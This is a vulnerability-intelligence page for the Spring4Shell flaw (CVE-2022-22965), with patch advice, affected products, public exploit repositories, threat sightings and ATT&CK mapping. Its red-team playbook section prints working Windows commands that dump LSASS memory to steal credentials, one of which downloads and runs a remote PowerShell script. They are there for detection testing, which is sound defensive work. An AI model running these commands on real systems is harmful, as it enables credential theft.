CVE-2022-22965

CRITICAL CISA KEV EXPLOIT POC TTE Zero-Day Pub 01/04 Upd 21/10

Overview

This vulnerability is a remote code execution flaw arising from unsafe data binding in Spring MVC and Spring WebFlux components. The root cause lies in the deserialization process that allows attacker-controlled input to manipulate internal class loader resources. The flaw specifically affects applications running on Java Development Kit 9 or higher when deployed as WAR files on Tomcat servers, exposing the data binding mechanism to exploitation.

Vulnerability Description

A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.

Impact

An unauthenticated attacker can execute arbitrary code remotely on affected systems by sending crafted HTTP requests, enabling full system compromise. This includes executing malware, accessing sensitive information, modifying data, and gaining persistent control over the server. Exploitation requires no user interaction or credentials but does require the application to be deployed as a WAR on Tomcat with JDK 9 or higher. Successful attacks can lead to data breaches, service disruption, and lateral movement within enterprise environments.

Solution

Apply vendor patches as detailed in the VMware advisory at https://tanzu.vmware.com/security/cve-2022-22965, Cisco advisory cisco-sa-java-spring-rce-Zx9GUc67, and Oracle CPU April 2022 at https://www.oracle.com/security-alerts/cpuapr2022.html. VMware recommends upgrading to patched Spring Framework versions that address this issue. Oracle and Cisco provide specific product updates for their affected components. Follow vendor instructions for updating Spring Framework and related products. Avoid deploying Spring applications as WAR on Tomcat if possible, or apply recommended configuration mitigations as per advisories.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in question arises from a critical flaw in Spring MVC and Spring WebFlux applications that utilize data binding, particularly when deployed on Tomcat as a WAR file. This flaw allows for remote code execution (RCE), which can be exploited by an attacker to execute arbitrary code on the server. The vulnerability is particularly concerning as it affects applications running on Java Development Kit (JDK) versions 9 and above. The nature of the vulnerability hinges on the way data binding is handled, which can inadvertently allow malicious input to be processed and executed by the application. This flaw is exacerbated by the fact that many developers may not be aware of the specific configurations that render their applications vulnerable, especially when using standard deployment practices.

Attack vectors for this vulnerability primarily involve sending specially crafted requests to the affected application. An attacker could exploit this vulnerability by manipulating input data that is bound to the application's model objects. For instance, by crafting a malicious payload that gets bound to a property of a model object, the attacker can trigger the execution of arbitrary code. This scenario is particularly feasible in environments where input validation is lax or where the application is configured to accept user input without stringent checks. Furthermore, while the default deployment method using Spring Boot (as an executable JAR) mitigates this risk, the widespread use of WAR deployments in enterprise applications means that many systems remain at risk.

The real-world impact of this vulnerability can be severe, leading to significant business risks. Successful exploitation could allow attackers to gain full control over the affected server, leading to data breaches, service disruptions, and potential financial losses. Organizations that rely on Spring-based applications for critical business functions may find themselves exposed to reputational damage and regulatory scrutiny, especially if sensitive customer data is compromised. The high CVSS score of 9.8 indicates that this vulnerability poses a critical threat, necessitating immediate attention from security teams to assess their exposure and implement necessary safeguards.

To detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. First, conducting thorough security assessments and code reviews of applications using Spring MVC or Spring WebFlux is essential to identify any instances of insecure data binding. Implementing input validation and sanitization practices can significantly reduce the risk of exploitation. Furthermore, organizations should consider deploying Web Application Firewalls (WAFs) that can help detect and block malicious requests targeting this vulnerability. Regularly updating and patching affected frameworks, along with monitoring for unusual application behavior, will also be crucial in maintaining a secure environment.

In conclusion, the vulnerability associated with Spring MVC and Spring WebFlux applications represents a significant risk to organizations that deploy these technologies. The potential for remote code execution through data binding highlights the importance of secure coding practices and robust application security measures. By understanding the technical details of the vulnerability, recognizing potential attack vectors, assessing the real-world impact, and implementing effective detection and mitigation strategies, organizations can better protect themselves against this and similar threats in the future.




CSURFACE threat intelligence has identified a slight increase in detection activity related to CVE-2022-22965, indicating a modest resurgence in exploitation attempts targeting vulnerable Spring MVC and Spring WebFlux applications running on JDK 9+ with Tomcat WAR deployments. While the overall exploitation trend remains stable, this uptick underscores persistent adversary interest and ongoing reconnaissance or attack efforts. Notably, no new ransomware campaigns have been linked to this vulnerability, and high-confidence associations with known threat groups remain absent despite prior low-confidence ties to actors such as akira and UNC3886. The availability of multiple proof-of-concept exploits continues to facilitate attacker experimentation and potential weaponization. This development maintains the vulnerability’s critical risk posture, reinforcing the need for sustained vigilance in detection and response, as the environment remains conducive to exploitation attempts despite no rapid escalation in activity.

Affected Products (97)

Vendor Product Version CPE
vmware Vmware Spring Framework All cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
vmware Vmware Spring Framework All cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
cisco Cisco Cx Cloud Agent All cpe:2.3:a:cisco:cx_cloud_agent:*:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Automated Test Suite 1.9.0 cpe:2.3:a:oracle:communications_cloud_native_core_automated_test_suite:1.9.0:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Automated Test Suite 22.1.0 cpe:2.3:a:oracle:communications_cloud_native_core_automated_test_suite:22.1.0:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Console 1.9.0 cpe:2.3:a:oracle:communications_cloud_native_core_console:1.9.0:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Console 22.1.0 cpe:2.3:a:oracle:communications_cloud_native_core_console:22.1.0:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Network Exposure Function 22.1.0 cpe:2.3:a:oracle:communications_cloud_native_core_network_exposure_function:22.1.0:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Network Function Cloud Native Environment 1.10.0 cpe:2.3:a:oracle:communications_cloud_native_core_network_function_cloud_native_environment:1.10.0:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Network Function Cloud Native Environment 22.1.0 cpe:2.3:a:oracle:communications_cloud_native_core_network_function_cloud_native_environment:22.1.0:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Network Repository Function 1.15.0 cpe:2.3:a:oracle:communications_cloud_native_core_network_repository_function:1.15.0:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Network Repository Function 22.1.0 cpe:2.3:a:oracle:communications_cloud_native_core_network_repository_function:22.1.0:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Network Slice Selection Function 1.8.0 cpe:2.3:a:oracle:communications_cloud_native_core_network_slice_selection_function:1.8.0:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Network Slice Selection Function 1.15.0 cpe:2.3:a:oracle:communications_cloud_native_core_network_slice_selection_function:1.15.0:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Network Slice Selection Function 22.1.0 cpe:2.3:a:oracle:communications_cloud_native_core_network_slice_selection_function:22.1.0:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Policy 1.15.0 cpe:2.3:a:oracle:communications_cloud_native_core_policy:1.15.0:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Policy 22.1.0 cpe:2.3:a:oracle:communications_cloud_native_core_policy:22.1.0:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Security Edge Protection Proxy 1.7.0 cpe:2.3:a:oracle:communications_cloud_native_core_security_edge_protection_proxy:1.7.0:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Security Edge Protection Proxy 22.1.0 cpe:2.3:a:oracle:communications_cloud_native_core_security_edge_protection_proxy:22.1.0:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Unified Data Repository 1.15.0 cpe:2.3:a:oracle:communications_cloud_native_core_unified_data_repository:1.15.0:*:*:*:*:*:*:*
+77 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
Spring Framework Class property RCE (Spring4Shell)
exploits/multi/http/spring_framework_rce_spring4shell
- Unknown - View

GitHub PoCs (101)

Repository Author Stars Forks Date Link
reznok/Spring4Shell-POC
Dockerized Spring4Shell (CVE-2022-22965) PoC application and exploit
reznok 324 239 2022-03-31 View
BobTheShoplifter/Spring4Shell-POC
Spring4Shell Proof Of Concept/And vulnerable application CVE-2022-22965
BobTheShoplifter 377 112 2022-03-30 View
TheGejr/SpringShell
Spring4Shell - Spring Core RCE - CVE-2022-22965
TheGejr 131 82 2022-03-30 View
tpt11fb/SpringVulScan
burpsuite 的Spring漏洞扫描插件。SpringVulScan:支持检测:路由泄露|CVE-2022-22965|CVE-2022-22963|CVE-2022-22947|CVE-2016-4977
tpt11fb 154 6 2022-06-19 View
zangcc/CVE-2022-22965-rexbb
CVE-2022-22965\Spring-Core-RCE核弹级别漏洞的rce图形化GUI一键利用工具,基于JavaFx开发,图形化操作更简单,提高效率。
zangcc 102 15 2022-12-28 View
alt3kx/CVE-2022-22965
Spring Framework RCE (CVE-2022-22965) Nmap (NSE) Checker (Non-Intrusive)
alt3kx 99 14 2022-04-07 View
SecNN/SpringFramework_CVE-2022-22965_RCE
SpringFramework 远程代码执行漏洞CVE-2022-22965
SecNN 72 17 2022-04-01 View
4nth0ny1130/spring4shell_behinder
CVE-2022-22965写入冰蝎webshell脚本
4nth0ny1130 62 21 2022-04-07 View
Mr-xn/spring-core-rce
CVE-2022-22965 : about spring core rce
Mr-xn 50 18 2022-03-30 View
FourCoreLabs/spring4shell-exploit-poc
Exploit a vulnerable Spring application with the Spring4Shell (CVE-2022-22965) Vulnerability.
FourCoreLabs 44 12 2022-03-31 View
tangxiaofeng7/CVE-2022-22965-Spring-Core-Rce
批量无损检测CVE-2022-22965
tangxiaofeng7 39 14 2022-04-01 View
Kirill89/CVE-2022-22965-PoC
Kirill89 32 21 2022-03-31 View
colincowie/Safer_PoC_CVE-2022-22965
A Safer PoC for CVE-2022-22965 (Spring4Shell)
colincowie 44 7 2022-03-31 View
k3rwin/spring-core-rce
spring框架RCE漏洞 CVE-2022-22965
k3rwin 28 11 2022-03-31 View
liangyueliangyue/spring-core-rce
springFramework_CVE-2022-22965_RCE简单利用
liangyueliangyue 26 6 2022-03-31 View
DDuarte/springshell-rce-poc
CVE-2022-22965 - CVE-2010-1622 redux
DDuarte 19 12 2022-03-31 View
p1ckzi/CVE-2022-22965
spring4shell | CVE-2022-22965
p1ckzi 23 7 2022-04-12 View
alt3kx/CVE-2022-22965_PoC
Spring Framework RCE (Quick pentest notes)
alt3kx 17 7 2022-03-31 View
Bouquets-ai/CVE-2022-22965-GUItools
spring-core单个图形化利用工具,CVE-2022-22965及修复方案已出
Bouquets-ai 17 6 2022-03-31 View
wjl110/CVE-2022-22965_Spring_Core_RCE
CVE-2022-22965\Spring-Core-RCE堪比关于 Apache Log4j2核弹级别漏洞exp的rce一键利用
wjl110 16 7 2022-04-02 View
me2nuk/CVE-2022-22965
Spring Framework RCE via Data Binding on JDK 9+ / spring4shell / CVE-2022-22965
me2nuk 14 8 2022-04-01 View
itsecurityco/CVE-2022-22965
Docker PoC for CVE-2022-22965 with Spring Boot version 2.6.5
itsecurityco 16 3 2022-04-03 View
viniciuspereiras/CVE-2022-22965-poc
CVE-2022-22965 poc including reverse-shell support
viniciuspereiras 13 5 2022-03-31 View
fracturelabs/go-scan-spring
Vulnerability scanner for Spring4Shell (CVE-2022-22965)
fracturelabs 12 2 2022-04-04 View
zer0yu/CVE-2022-22965
Spring4Shell (CVE-2022-22965)
zer0yu 12 1 2022-04-01 View
gpiechnik2/nmap-spring4shell
Nmap Spring4Shell NSE script for Spring Boot RCE (CVE-2022-22965)
gpiechnik2 8 4 2022-04-03 View
sunnyvale-it/CVE-2022-22965-PoC
CVE-2022-22965 (Spring4Shell) Proof of Concept
sunnyvale-it 7 3 2022-04-04 View
GuayoyoCyber/CVE-2022-22965
Vulnerabilidad RCE en Spring Framework vía Data Binding on JDK 9+ (CVE-2022-22965 aka "Spring4Shell")
GuayoyoCyber 6 3 2022-03-31 View
Loneyers/Spring4Shell
Spring4Shell , Spring Framework RCE (CVE-2022-22965) , Burpsuite Plugin
Loneyers 4 5 2022-04-11 View
Wrin9/CVE-2022-22965
CVE-2022-22965 POC
Wrin9 7 1 2022-04-02 View
nu0l/CVE-2022-22965
Spring-0day/CVE-2022-22965
nu0l 4 3 2022-04-01 View
wikiZ/springboot_CVE-2022-22965
CVE-2022-22965 pocsuite3 POC
wikiZ 6 1 2022-04-07 View
mariomamo/CVE-2022-22965
mariomamo 5 1 2022-04-23 View
netcode/Spring4shell-CVE-2022-22965-POC
Another spring4shell (Spring core RCE) POC
netcode 3 3 2022-04-04 View
BKLockly/CVE-2022-22965
Poc&Exp,支持批量扫描,反弹shell
BKLockly 3 3 2023-06-03 View
LudovicPatho/CVE-2022-22965_Spring4Shell
A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data b...
LudovicPatho 2 3 2022-04-05 View
iloveflag/Fast-CVE-2022-22965
CVE-2022-22965图形化检测工具
iloveflag 4 0 2022-11-08 View
wshon/spring-framework-rce
CVE-2022-22965
wshon 4 0 2022-04-01 View
khidottrivi/CVE-2022-22965
khidottrivi 4 0 2022-04-27 View
fracturelabs/spring4shell_victim
Intentionally vulnerable Spring app to test CVE-2022-22965
fracturelabs 2 2 2022-04-04 View
jakabakos/CVE-2022-22965-Spring4Shell
PoC and exploit for CVE-2022-22965 Spring4Shell
jakabakos 2 2 2023-06-20 View
likewhite/CVE-2022-22965
CVE-2022-22965 EXP
likewhite 3 0 2022-04-01 View
0xrobiul/CVE-2022-22965
Exploit Of Spring4Shell!
0xrobiul 3 0 2022-04-05 View
rwincey/spring4shell-CVE-2022-22965
rwincey 2 1 2022-03-31 View
bL34cHig0/Telstra-Cybersecurity-Virtual-Experience-
A simple python script for a firewall rule that blocks incoming requests based on the Spring4Shell (CVE-2022-22965) vuln...
bL34cHig0 2 1 2023-05-31 View
CalumHutton/CVE-2022-22965-PoC_Payara
CalumHutton 3 0 2022-04-07 View
datawiza-inc/spring-rec-demo
The demo code showing the recent Spring4Shell RCE (CVE-2022-22965)
datawiza-inc 2 1 2022-04-06 View
D1mang/Spring4Shell-CVE-2022-22965
EXP for Spring4Shell(CVE-2022-22965)
D1mang 2 1 2022-07-05 View
cxzero/CVE-2022-22965-spring4shell
CVE-2022-22965 Spring4Shell research & PoC
cxzero 1 1 2022-05-19 View
twseptian/cve-2022-22965
Spring4Shell - CVE-2022-22965
twseptian 2 0 2022-04-04 View
mylo-2001/GhostStrike
Fully automated Spring4Shell (CVE-2022-22965) + GitLab RCE framework
mylo-2001 1 1 2025-11-20 View
lcarea/CVE-2022-22965
lcarea 1 1 2022-04-01 View
irgoncalves/irule-cve-2022-22965
irgoncalves 2 0 2022-04-06 View
Joe1sn/CVE-2022-22965
CVE-2022-22965 Environment
Joe1sn 1 0 2022-04-01 View
daniel0x00/Invoke-CVE-2022-22965-SafeCheck
PowerShell port of CVE-2022-22965 vulnerability check by colincowie.
daniel0x00 1 0 2022-04-04 View
clemoregan/SSE4-CVE-2022-22965
CVE-2022-22965 proof of concept
clemoregan 1 0 2022-11-28 View
gokul-ramesh/Spring4Shell-PoC-exploit
Demonstrable Proof of Concept Exploit for Spring4Shell Vulnerability (CVE-2022-22965)
gokul-ramesh 1 0 2023-03-12 View
salo-404/firewall
🔒 Spring4Shell Firewall Defense — Cybersecurity Incident Simulation This project is part of a Cybersecurity Job Simulati...
salo-404 1 0 2025-08-06 View
devengpk/CVE-2022-22965
devengpk 0 1 2022-12-12 View
dbgee/Spring4Shell
Spring rce environment for CVE-2022-22965
dbgee 0 1 2023-06-07 View
LucasPDiniz/CVE-2022-22965
Spring4Shell Vulnerability RCE - CVE-2022-22965
LucasPDiniz 0 1 2023-11-12 View
0xBlackash/CVE-2022-22965
CVE-2022-22965
0xBlackash 0 1 2026-03-01 View
c4mx/CVE-2022-22965_PoC
c4mx 1 0 2022-04-21 View
helsecert/CVE-2022-22965
helsecert 1 0 2022-04-01 View
Snip3R69/spring-shell-vuln
Spring has Confirmed the RCE in Spring Framework. The team has just published the statement along with the mitigation gu...
Snip3R69 1 0 2022-04-05 View
RootEvil333/CVE-2022-22965
CVE-2022-22965
RootEvil333 0 0 2026-07-07 View
Kuri119/CVE-2022-22965-Spring4Shell
Kuri119 0 0 2026-06-30 View
ernestom-commits/jfrog-apptrust-demo
JFrog AppTrust lifecycle policy enforcement demo — shows release gate blocking CVE-2022-22965 (Spring4Shell) with waiver...
ernestom-commits 0 0 2026-06-21 View
march0n/PoC-CVE-2022-22965-Spring4Shell
Description
march0n 0 0 2026-05-27 View
YUTING-HUANG0/Spring4Shell-CTF
Spring4Shell (CVE-2022-22965) 漏洞環境搭建與 CTF 題目
YUTING-HUANG0 0 0 2026-05-27 View
felisha-elmer/Sandbox-Challenge-Spring4Shell-CVE-2022-22965-
felisha-elmer 0 0 2026-05-22 View
mebibite/springhound
Created after the disclosure of CVE-2022-22965 and CVE-2022-22963. Bash script that detects Spring Framework occurrences...
mebibite 0 0 2022-04-01 View
snicoll-scratches/spring-boot-cve-2022-22965
Showcase of overridding the Spring Framework version in older Spring Boot versions
snicoll-scratches 0 0 2022-04-01 View
mwojterski/cve-2022-22965
mwojterski 0 0 2022-04-02 View
0xr1l3s/CVE-2022-22965
Spring4Shell is a critical RCE vulnerability in the Java Spring Framework and is one of three related vulnerabilities pu...
0xr1l3s 0 0 2022-04-05 View
Omaraitbenhaddi/-Spring4Shell-CVE-2022-22965-
exploitation script tryhackme
Omaraitbenhaddi 0 0 2022-04-13 View
Enokiy/spring-RCE-CVE-2022-22965
Enokiy 0 0 2022-04-29 View
c33dd/CVE-2022-22965
🚀 Exploit for Spring core RCE in C [ wip ]
c33dd 0 0 2023-03-02 View
sohamsharma966/Spring4Shell-CVE-2022-22965
sohamsharma966 0 0 2023-09-02 View
ESSAFAR/Firewall-Rules
Firewall rules to mitigate a zero-day vulnerability malware attack (CVE-2022-22965), known as Spring4Shell
ESSAFAR 0 0 2023-11-21 View
Aur3ns/Block-Spring4Shell
POC firewall with rules designed to detect and block Spring4Shell vulnerability (CVE-2022-22965) exploit
Aur3ns 0 0 2024-11-02 View
brunoh6/web-threat-mitigation
Hands-on lab on detecting and mitigating web app threats using OWASP ZAP, Burp Suite, and ModSecurity WAF (with OWASP CR...
brunoh6 0 0 2025-06-11 View
Nosie12/fire-wall-server
Python-based simulated firewall to detect and block Spring4Shell (CVE-2022-22965) exploit attempts. This project filters...
Nosie12 0 0 2025-08-01 View
shoucheng3/spring-projects__spring-framework_CVE-2022-22965_5-2-19-RELEASE
shoucheng3 0 0 2025-08-20 View
nhattanhh/CVE-2022-22965
Spring4Shell
nhattanhh 0 0 2025-12-22 View
aditidutta696-dev/Spring4Shell-CVE-2022-22965-Exploitation-Attempt
aditidutta696-dev 0 0 2026-02-03 View
dbwlsdnr95/CVE-2022-22965
dbwlsdnr95 0 0 2025-12-20 View
te5t321/Spring4Shell-CVE-2022-22965.py
Script to check for Spring4Shell vulnerability
te5t321 0 0 2022-04-11 View
osungjinwoo/CVE-2022-22965
Spring4Shell (POC)
osungjinwoo 0 0 2025-08-01 View
ajith737/Spring4Shell-CVE-2022-22965-POC
User friendly Spring4Shell POC
ajith737 0 0 2023-01-03 View
xsxtw/SpringFramework_CVE-2022-22965_RCE
xsxtw 0 0 2024-05-01 View
xenosf/CS4239-Spring4Shell-POC
CVE-2022-22965 proof of concept for CS4239 report
xenosf 0 0 2025-11-14 View
guigui237/Expoitation-de-la-vuln-rabilit-CVE-2022-22965
guigui237 0 0 2024-11-05 View
jashan-lefty/Spring4Shell
In this challenge, I analyzed the Spring4Shell (CVE-2022-22965) vulnerability, investigated security bypasses, and wrote...
jashan-lefty 0 0 2025-02-03 View
NickoPS87/Spring4Shell-Python-Firewall-POC
Proof-of-Concept (POC) of a simple firewall in Python designed to mitigate the Spring4Shell (CVE-2022-22965) RCE attack ...
NickoPS87 0 0 2025-10-19 View
luoqianlin/CVE-2022-22965
Spring Framework RCE Exploit
luoqianlin 0 0 2022-04-05 View
t3amj3ff/Spring4ShellPoC
Spring4Shell PoC (CVE-2022-22965)
t3amj3ff 0 0 2022-04-07 View
fransvanbuul/CVE-2022-22965-susceptibility
fransvanbuul 0 0 2022-04-09 View
ClemExp/CVE-2022-22965-PoC
ClemExp 0 0 2022-11-28 View
Shakur1314/CVE-2022-22965-Spring4Shell-Security-Operations-Analysis
A comprehensive Security Operations Centre (SOC) incident response simulation demonstrating threat detection, triage, an...
Shakur1314 0 0 2026-01-14 View
suyash-R-K/dfir-malware-investigation
Spring4Shell (CVE-2022-22965) DFIR lab with exploit simulation, Python WAF, IOC-based detection, and PCAP analysis.
suyash-R-K 0 0 2026-01-20 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

25 events
2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-31
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-28
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-04-05
Exploited by UNC3886

Ransomware group known to exploit this vulnerability

2026-04-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-01
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-31
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2022-04-04
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2022-03-31
Exploit Published (0 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

2022-03-30
PoC Published (101 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Target OS:

Deployed role: Linux · Web Server

Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.

Attack Vectors ML

Remote Code Execution
100% rce
Code Injection
80% code_injection
JNDI/Expression Language Injection
61% jndi_injection
OS Command Injection
42% command_injection

MITRE ATT&CK Techniques (10)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.001 PowerShell Kill Chain execution Windows
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1505.003 Web Shell Kill Chain persistence Linux, macOS, Network Devices, Windows
T1003.001 LSASS Memory Kill Chain credential-access Windows
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1087.002 Domain Account Kill Chain discovery Linux, macOS, Windows
T1021.002 SMB/Windows Admin Shares Kill Chain lateral-movement Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-242 Code Injection
46%
High High
CAPEC-35 Leverage Executable Code in Non-Executable Files
36%
High Very High
CAPEC-77 Manipulating User-Controlled Variables
30%
High Very High

Red Team Playbook

108 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1003.001 Create Mini Dump of LSASS.exe using ProcDump Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe Upon successful execution, you should see the following file created...
Command (CMD)
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
T1003.001 Dump LSASS with createdump.exe from .Net v5 Windows PowerShell Privileged
Use createdump executable from .NET to create an LSASS dump. [Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)
Command (PowerShell)
$exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
T1003.001 Dump LSASS.exe Memory through Silent Process Exit Windows CMD Privileged
WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism introduced in Windows 7 called Silent Process Exit, which provides the ability to...
Command (CMD)
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
T1003.001 Dump LSASS.exe Memory using NanoDump Windows CMD Privileged
The NanoDump tool uses syscalls and an invalid dump signature to avoid detection. https://github.com/helpsystems/nanodump Upon successful execution, you should find the nanondump.dmp file in the temp directory
Command (CMD)
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
T1003.001 Dump LSASS.exe Memory using Out-Minidump.ps1 Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure powershell implementation that leverages the MiniDumpWriteDump Win32 API call. Upon successful execution, you should see the following file created...
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
T1003.001 Dump LSASS.exe Memory using ProcDump Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp. If you see a message saying "procdump.exe is...
Command (CMD)
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
T1003.001 Dump LSASS.exe Memory using Windows Task Manager Windows Manual
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task Manager and administrative permissions.
T1003.001 Dump LSASS.exe Memory using comsvcs.dll Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll. Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
Command (PowerShell)
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
T1003.001 Dump LSASS.exe Memory using direct system calls and API unhooking Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection....
Command (CMD)
"#{dumpert_exe}"
T1003.001 Dump LSASS.exe using imported Microsoft DLLs Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump file and delete it immediately to avoid brittle EDR detections that...
Command (PowerShell)
#{xordump_exe} -out #{output_file} -x 0x41
T1003.001 Dump LSASS.exe using lolbin rdrleakdiag.exe Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with lolbin rdrleakdiag.exe. Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and $env:TEMP\results_<PID>.hlk.
Command (PowerShell)
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
  } elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
  } else {
      $binary_path = "File not found"
      exit 1
  }
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force} 
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
T1003.001 LSASS read with pypykatz Windows CMD Privileged
